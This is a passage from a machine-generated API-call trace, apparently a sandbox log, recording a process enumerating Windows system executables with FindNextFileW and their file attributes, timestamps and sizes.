lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238b736, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x7238b736, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xeecd5140, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="CompMgmtLauncher.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7da9e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82d7da9e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853e749d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x853e749d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8547fa1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="conhost.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee548fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ee548fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ee548fa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b580, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="consent.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75044f6b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x75044f6b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd67bc10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="control.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ca404f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x29ca404f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd6a0600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eda12e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb0eda12e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xddacb450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53727ed, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd53727ed, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b3e3e96, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x6b3e3e96, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="csrss.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c51c5ff, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1c51c5ff, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xddbb0c30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2191a4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8e2191a4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc48210, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4ea00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c7647, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x895c7647, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc6f310, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385fc55, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1385fc55, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdde37bc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xd7400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca15ae0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfca15ae0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde000470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbf2c800, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbf2c800, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0beb50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcdff23, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xbbcdff23, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde10a640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2cc00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="Defrag.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb939178, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdb939178, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="DeviceDisplayObjectProvider.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff3a56c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5ff3a56c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="DeviceEject.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe32659, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbbe32659, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde17d230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="DevicePairingWizard.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82848ae7, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82848ae7, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde1efe20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="DeviceProperties.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fb9db19, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1fb9db19, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde214810, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="DFDWiz.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a25bf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936a25bf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936a25bf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dfrgui.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2c2b99, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbe2c2b99, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xdff65630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dialer.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9a95e4b, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa9a95e4b, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xdffb1120, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="diantz.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e1adc0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x60e1adc0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdffd5b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dinotify.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938917a3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x938917a3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x938b7903, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="diskpart.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c984a5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x13c984a5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe00bb2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="diskperf.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a80986, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93a80986, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93a80986, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="diskraid.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8837bef, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xe8837bef, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0369380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="Dism.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81ea4a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd81ea4a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe0400960, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dispdiag.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9a6bc8, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f9a6bc8, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe057d720, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="DisplaySwitch.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6834a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f6834a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6834a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="djoin.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dllhost.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7e2f74, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xed7e2f74, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe07215e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dllhst3g.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390ff8fb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x390ff8fb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0981470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dnscacheugc.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0a1b160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="doskey.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89abe568, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x89abe568, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe0afe230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dpapimig.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829eb9e6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x829eb9e6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="DpiScaling.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e5b99f, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xd6e5b99f, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dpnsvr.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32347214, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x32347214, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c7aff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="driverquery.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67fa17, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6d67fa17, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c2f500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="drvinst.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f4b6133, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x9f4b6133, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dvdplay.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa21c9e46, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xa21c9e46, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1626950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dvdupgrd.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8366e2b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8366e2b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe1674b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dwm.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ecbbdd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x58ecbbdd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe16c0640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="DWWIN.EXE", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8749092f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8749092f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe17a3710, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="dxdiag.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6d10, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93a6d10, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe18d49e0, 